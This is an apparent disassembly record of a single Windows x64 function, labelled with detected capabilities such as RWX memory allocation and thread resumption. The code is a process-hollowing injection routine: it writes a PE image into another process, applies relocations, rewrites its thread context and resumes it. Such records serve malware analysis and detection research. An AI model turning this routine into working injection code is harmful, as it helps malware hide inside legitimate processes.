Function at 0x140001aa0
Capabilities:
Allocate or change rwx memory
Enumerate pe sections
Resume thread

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x330
mov rax, qword [0x14000d010]
xor rax, rsp
mov qword [rsp + 0x328], rax
movsxd r13, dword [rdx + 0x3c]
mov r14, rdx
add r13, rdx
mov dword [rsp + 0x20], 0x40
mov r12, rcx
mov qword [rsp + 0x38], r13
mov rcx, qword [rcx]
xor edx, edx
mov r9d, 0x3000
mov r8d, dword [r13 + 0x50]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rsp + 0x40], rax
test rax, rax
je 0x140001d5f
mov r9d, dword [r13 + 0x54]
mov ecx, eax
sub ecx, dword [r13 + 0x34]
xor r15d, r15d
mov dword [r13 + 0x34], eax
mov r8, r14
mov rdx, qword [rsp + 0x40]
mov dword [rsp + 0x320], ecx
mov rcx, qword [r12]
mov qword [rsp + 0x20], r15
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x140001d5f
movsxd rbx, dword [r14 + 0x3c]
cmp dword [rbx + r14 + 0xa0], r15d
je 0x140001b55
mov rbx, qword [rbx + r14 + 0xa0]
jmp 0x140001b58
mov rbx, r15
mov rbp, r15
mov qword [rsp + 0x30], rbx
mov edi, r15d
cmp r15w, word [r13 + 6]
jae 0x140001d5f
mov rsi, r15
movzx eax, word [r13 + 0x14]
lea rdx, [r13 + 0x18]
add rax, rsi
add rdx, rax
mov r10d, dword [rdx + 0xc]
cmp ebx, r10d
jb 0x140001b95
mov ecx, dword [rdx + 8]
add ecx, r10d
cmp ebx, ecx
cmovb rbp, rdx
mov r8d, dword [rdx + 0x14]
mov r9d, dword [rdx + 0x10]
add r8, r14
mov rcx, qword [r12]
mov rdx, r10
add rdx, qword [rsp + 0x40]
mov qword [rsp + 0x20], r15
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x140001d5f
movzx eax, word [r13 + 6]
inc edi
add rsi, 0x28
cmp edi, eax
jl 0x140001b71
test rbp, rbp
je 0x140001d5f
xor r8d, r8d
mov ebx, r8d
cmp dword [rsp + 0x34], ebx
jbe 0x140001ccf
mov r13d, dword [rsp + 0x320]
mov r9d, 0x1000
nop word [rax + rax]
mov r15d, dword [rbp + 0x14]
mov eax, ebx
add ebx, 8
add rax, r14
add r15, rax
mov eax, dword [r15 + 4]
sub rax, 8
shr rax, 1
test eax, eax
je 0x140001cc0
mov esi, eax
nop dword [rax]
nop dword [rax + rax]
mov ecx, dword [rbp + 0x14]
mov eax, ebx
add ebx, 2
add rax, r14
movzx edx, word [rcx + rax]
cmp dx, r9w
jb 0x140001cb6
mov rcx, qword [rsp + 0x40]
and edx, 0xfff
mov edi, dword [r15]
add rcx, rdx
add rdi, rcx
mov dword [rsp + 0x320], r8d
mov rcx, qword [r12]
mov rdx, rdi
mov qword [rsp + 0x20], r8
mov r9d, 4
lea r8, [rsp + 0x320]
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov rcx, qword [r12]
lea r8, [rsp + 0x320]
add dword [rsp + 0x320], r13d
mov r9d, 4
mov rdx, rdi
mov qword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
xor r8d, r8d
mov r9d, 0x1000
sub rsi, 1
jne 0x140001c30
cmp ebx, dword [rsp + 0x34]
jb 0x140001c00
mov r13, qword [rsp + 0x38]
xor edx, edx
lea rcx, [rsp + 0x54]
mov r8d, 0x2c8
call sub.VCRUNTIME140.dll_memset
mov rcx, qword [r12 + 8]
lea rdx, [rsp + 0x50]
mov dword [rsp + 0x50], 0x10000b
call qword [sym.imp.KERNEL32.dll_Wow64GetThreadContext]
test eax, eax
je 0x140001d5f
mov edx, dword [rsp + 0xf4]
lea r8, [rsp + 0x40]
mov rcx, qword [r12]
add rdx, 8
mov r9d, 4
mov qword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x140001d5f
mov ecx, dword [r13 + 0x28]
lea rdx, [rsp + 0x50]
add ecx, dword [rsp + 0x40]
mov dword [rsp + 0x100], ecx
mov rcx, qword [r12 + 8]
call qword [sym.imp.KERNEL32.dll_Wow64SetThreadContext]
test eax, eax
je 0x140001d5f
mov rcx, qword [r12 + 8]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov eax, 1
jmp 0x140001d61
xor eax, eax
mov rcx, qword [rsp + 0x328]
xor rcx, rsp
call fcn.1400077f0
mov rbx, qword [rsp + 0x380]
add rsp, 0x330
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret